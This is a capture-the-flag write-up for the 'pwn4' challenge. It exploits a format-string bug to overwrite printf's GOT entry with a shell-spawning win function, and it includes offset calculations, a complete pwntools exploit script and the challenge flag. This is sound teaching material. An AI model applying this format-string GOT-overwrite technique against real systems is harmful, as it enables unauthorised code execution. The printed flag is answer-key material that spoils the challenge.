Tags: pwn
Rating:
## pwn4 (Pwn, 300pts)
#### Challenge Description
GOT is a amazing series!
```
nc 104.154.106.182 5678
```
author: codacker
#### Overview
This challenge actually has two issues, which you could exploit one of two ways.
One issue is the use of `gets()` again which can lead to stack overflow, however this challenge does have a stack cookie. You could leak the stack cookie via the second issue, being a format string vulnerability.
The second way of exploiting this by overwriting a jump slot / GOT entry via arbitrary write through the format string bug itself. This is likely the intended solution given the description.
```assembly
mov dword ptr [esp], offset s ; "Do you swear to use this shell with res"...
call _puts
lea eax, [esp+0A0h+s]
mov [esp], eax ; s
call _gets
lea eax, [esp+0A0h+s]
mov [esp], eax ; format
call _printf
lea eax, [esp+1Ch]
mov [esp+4], eax
mov dword ptr [esp], offset format ; "\ni don't belive you!\n%s\n"
call _printf
```
I solved it by overwriting a GOT entry. Notice how `printf()` is used again after the first `printf()`. This is likely intentional to give us a target GOT entry to overwrite, being `printf()` itself. The jump slot for `printf()` in the Global Offset Table (GOT) is at location `0x80498FC`.
#### Win function
There's a win() function that will pop a shell for us at `0x804853d`. This is what we'll write into `printf()`'s jump slot with the format string bug.
```assembly
push ebp
mov ebp, esp
sub esp, 18h
mov dword ptr [esp], offset command ; "/bin/bash"
call _system
leave
retn
```
#### Format String Fun
Format string bugs can be tricky. Because the pointer in the jump slot usually points into libc, we'll need to overwrite all 4 bytes - no getting away with a partial overwrite. We'll also need to do some stack popping. We can do that by entering a recognizable string ("AAAA"), then use the `%x` specifier to look for the hex values for that string on the stack.
```
$ python -c 'print "AAAA" + "%08x."*10' | ./pwn4
Do you swear to use this shell with responsility by the old gods and the new?
AAAA00000000.00000002.00000000.f7fa9a70.00000001.f7f602f0.41414141.78383025.3830252e.30252e78.
i don't belive you!
AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
```
We can see here in the line containing the hex values we have 6 `%08x`'s before we see `41414141`. This means our payload will use `%08x.` 6 times before using the `%n` specifiers to do our overwrites.
Essentially, the structure of our format string will be this:
```
[4 addresses of the 4 bytes to overwrite] + [6 * %08x] + [%u%n values for the 4 overwrites]
```
You may ask why I decided to use `%08x` and not just `%x`. The reason is the stack contents may differ slightly between local copies and the server copy. This can make the calculations we write later for the values incorrect and lead to our exploit not working on the server copy - I found this out the hard way.
So let's start with the addresses. We'll need to do a 1 byte write for each of the 4 bytes that represent the `printf()` function pointer, going from least significant to most significant byte.
```
0x80498FC - least significant
0x80498FD - 2nd least significant
0x80498FE - 2nd most significant
0x80498FF - most significant
```
Because `%u%n` also does a stack pop, we'll need to pad with 4 bytes before each address we specify for the overwrite. This means the beginning of our format string looks like this (newline every 4 bytes for readability):
```
"\x41\x41\x41\x41" +
"\xfc\x98\x04\x08" +
"\x41\x41\x41\x41" +
"\xfd\x98\x04\x08" +
"\x41\x41\x41\x41" +
"\xfe\x98\x04\x08" +
"\x41\x41\x41\x41" +
"\xff\x98\x04\x08" +
"%08x." * 6 +
```
#### Calculating values
The way the arbitrary write via `%n` trick works is it'll write the number of bytes present in the string up to the `%n` specifier, meaning we'll need to pad out the string to get the values we want. We're going to start with the least significant byte. Remember, our win function is at `0x804853D`, so we'll want to write the value `0x3D` at the first address.
Notice how I said we're going to be using `%u%n`. We're going to use this to pad the string to get the value we want. According to a paper on format string exploitation by Saif El-Sherei, we can calculate the width via the following formula:
```
“The byte to be written” – “the outputted byte” + “the width of the %x specified just before the %n”
```
Here's a python function that'll help us (src):
```python
def calculate(to_write, written):
to_write += 0x100
written %= 0x100
padding = (to_write - written) % 0x100
if padding < 10:
padding += 0x100
return padding
```
If we try to run the current string above into the program at the moment, we'll get a segmentation fault, and the lowest byte of EIP will be `0x46`. We need to add `0x10` to this for the padding bytes we added before the addresses above.
```
Invalid %PC address: 0x46464646
```
For the first byte, the value we want `to_write` will be `0x3D`, and the `written` value would be `0x56 (0x46 + 0x10)`. `calculate()` will give us `0xE7`, or 231.
This gives us the following payload:
```
"\x41\x41\x41\x41" +
"\xfc\x98\x04\x08" +
"\x41\x41\x41\x41" +
"\xfd\x98\x04\x08" +
"\x41\x41\x41\x41" +
"\xfe\x98\x04\x08" +
"\x41\x41\x41\x41" +
"\xff\x98\x04\x08" +
"%08x." * 6 +
"%231u%n" +
```
For the rest of the bytes, we're going to do something similar but we won't add `0x10` to the `written` value (though we will add `0x8` to the end result to account for padding). Below is a list of the `to_write`, `written`, and final calculated values for the remaining three bytes.
2nd least-significant byte:
```
to_write = 0x85
written = 0x45
calculate(0x85, 0x45) = 64
64 + 8 = 72
```
2nd most-significant byte:
```
to_write = 0x04
written = 0x8D
calculate(0x04, 0x8D) = 119
119 + 8 = 127
```
most-significant byte:
```
to_write = 0x08
written = 0x0C
calculate(0x08, 0x0C) = 252
252 + 8 = 260
```
This gives us the final format string which will pop us a shell:
```
"\x41\x41\x41\x41" +
"\xfc\x98\x04\x08" +
"\x41\x41\x41\x41" +
"\xfd\x98\x04\x08" +
"\x41\x41\x41\x41" +
"\xfe\x98\x04\x08" +
"\x41\x41\x41\x41" +
"\xff\x98\x04\x08" +
"%08x." * 6 +
"%231u%n" +
"%72u%n" +
"%127u%n" +
"%260u%n"
```
#### Flag Script
```python
# Pwn4
# No PIE, NX Enabled, Stack Cookies Present
#
# Solution: Use format string to overwrite a GOT/jump slot entry.
# Flag: encryptCTF{Y0u_4R3_7h3_7ru3_King_0f_53v3n_KingD0ms}
from pwn import *
context(arch='i386', os='linux')
io = remote('104.154.106.182', 5678)
# Write pointers to overwrite with %n specifier
payload = "\x41\x41\x41\x41" # Padding
payload += "\xfc\x98\x04\x08" # printf jump slot byte 4
payload += "\x41\x41\x41\x41" # Padding
payload += "\xfd\x98\x04\x08" # printf jump slot byte 3
payload += "\x41\x41\x41\x41" # Padding
payload += "\xfe\x98\x04\x08" # printf jump slot byte 2
payload += "\x41\x41\x41\x41" # Padding
payload += "\xff\x98\x04\x08" # printf jump slot byte 1
# Padding
payload += "%08x."*6
# Values for overwrite
payload += "%231u%n" # Write byte 4
payload += "%72u%n" # Write byte 3
payload += "%127u%n" # Write byte 2
payload += "%260u%n" # Write byte 1
io.sendline(payload)
# Shell
io.interactive()
```
The flag:
```
encryptCTF{Y0u_4R3_7h3_7ru3_King_0f_53v3n_KingD0ms}
```